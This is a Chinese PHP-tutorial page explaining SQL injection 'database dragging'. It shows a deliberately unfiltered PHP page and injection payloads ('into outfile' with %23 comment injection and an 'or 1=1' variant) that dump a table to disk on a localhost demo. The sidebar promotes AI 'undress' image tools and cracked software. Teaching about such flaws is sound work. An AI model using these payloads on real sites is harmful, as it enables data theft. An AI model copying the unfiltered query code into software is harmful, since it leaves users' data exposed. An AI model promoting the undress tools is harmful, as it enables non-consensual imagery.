搜尋
首頁php教程php手册sql安全之SQL注入漏洞拖库原理解析

本文章以自己的一些经验来告诉你黑客朋友们会怎么利用你数据库的sql漏洞来把你的数据库下载,有需要的同这参考一下本文章.

在数据库中建立一张表,代码如下:

CREATE TABLE `article` ( 
`articleid` int(11) NOT NULL AUTO_INCREMENT, 
`title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '', 
`content` text CHARACTER SET utf8 NOT NULL, 
PRIMARY KEY (`articleid`) 
) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;

在表中插入数据的操作我就不贴代码了,可以去下载下来直接导入到数据库,接下来,写一个处理用户请求的页面,这里,我们故意不过滤用户提交过来的数据,留下个SQL注入漏洞用来测试,代码如下:

<?php 
   $servername = "localhost"; 
   $dbusername = "root"; 
   $dbpassword = ""; 
   $dbname = "test"; 
   $id=$_GET[&#39;id&#39;];//id未经过滤 
   $conn=mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); 
   mysql_select_db($dbname,$conn); 
   mysql_query(&#39;set names utf8&#39;); 
   $sql = "SELECT * FROM article WHERE articleid=&#39;$id&#39;"; 
   $result = mysql_query($sql,$conn); 
   $row = mysql_fetch_array($result); 
   echo "<p>利用SQL注入漏洞拖库<p>"; 
   //开源代码phprm.com 
   if (!$row){ 
  echo "该记录不存在"; 
  exit; 
   } 
   echo "标题<br>".$row[&#39;title&#39;]."<p>"; 
   echo "内容<br>".$row[&#39;content&#39;]."<p>";

我们直接在浏览器中输入:

http://127.0.0.1/marcofly/phpstudy/sqlinsert/showart.php?id=1

即可访问article表中id为1的一条记录.

接下来,我们就利用这个漏洞(不知道该漏洞的情况下,只能通过工具+手工检测),演示一下如何将article表下载下来,在地址栏中输入:

'into outfile'e:/sql.txt'%23 

分析:%23是#的ASCII码,由于在地址栏中直接输入#后到数据库系统中会变成空,需要在地址栏中输入%23,那么才会变成#,进而注释掉后面的sql语句.

运行之后,打开E盘,发现多了一个sql.txt文件,打开之后,里面就是表article中的一条记录,为什么只有一条记录呢?难道该数据表就只有一条记录?不是这样的,因为我们只检索id为1的一条记录而已,那么能否将article表中的所有记录一次性全部下载下来呢?

答案是可以的,只要你的构造的SQL语句足够灵活(再次提出了构造SQL语句的灵活性)。

分析一下,当在URL地址栏中输入’into outfile 'e:/sql.txt'%23的时候,合并到sql查询语句中变为:

SELECT * FROM article WHERE articleid='5' into outfile 'e:/whf.txt'#'

仔细分析下之后,我们可以这样子构造SQL语句:

SELECT * FROM article WHERE articleid='' or 1=1 into outfile 'e:/whf.txt'#' 

这样的话,无论如何WHERE子句总是为真,换句话说,该sql语句等价于如下:

SELECT * FROM article into outfile 'e:/whf.txt'#' 

懂了吧,该sql语句在先执行select语句,将表article中的所以内容全部检索出来,然后再执行into outfile 'e:/whf.txt'#'将内容导出来.

不信的话,你执行下……利用SQL注入漏洞,我们可以猜测表名,列名,用户的密码长度(LEFT函数)等等,当然了,如果能直接向以上的演示那样将表中的数据全部导出的话就没必要去猜表名列名等等.


永久链接:

转载随意!带上文章地址吧。

陳述
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱工具

EditPlus 中文破解版

EditPlus 中文破解版

體積小,語法高亮,不支援程式碼提示功能

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

Dreamweaver Mac版

Dreamweaver Mac版

視覺化網頁開發工具

MinGW - Minimalist GNU for Windows

MinGW - Minimalist GNU for Windows

這個專案正在遷移到osdn.net/projects/mingw的過程中,你可以繼續在那裡關注我們。 MinGW:GNU編譯器集合(GCC)的本機Windows移植版本,可自由分發的導入函式庫和用於建置本機Windows應用程式的頭檔;包括對MSVC執行時間的擴展,以支援C99功能。 MinGW的所有軟體都可以在64位元Windows平台上運作。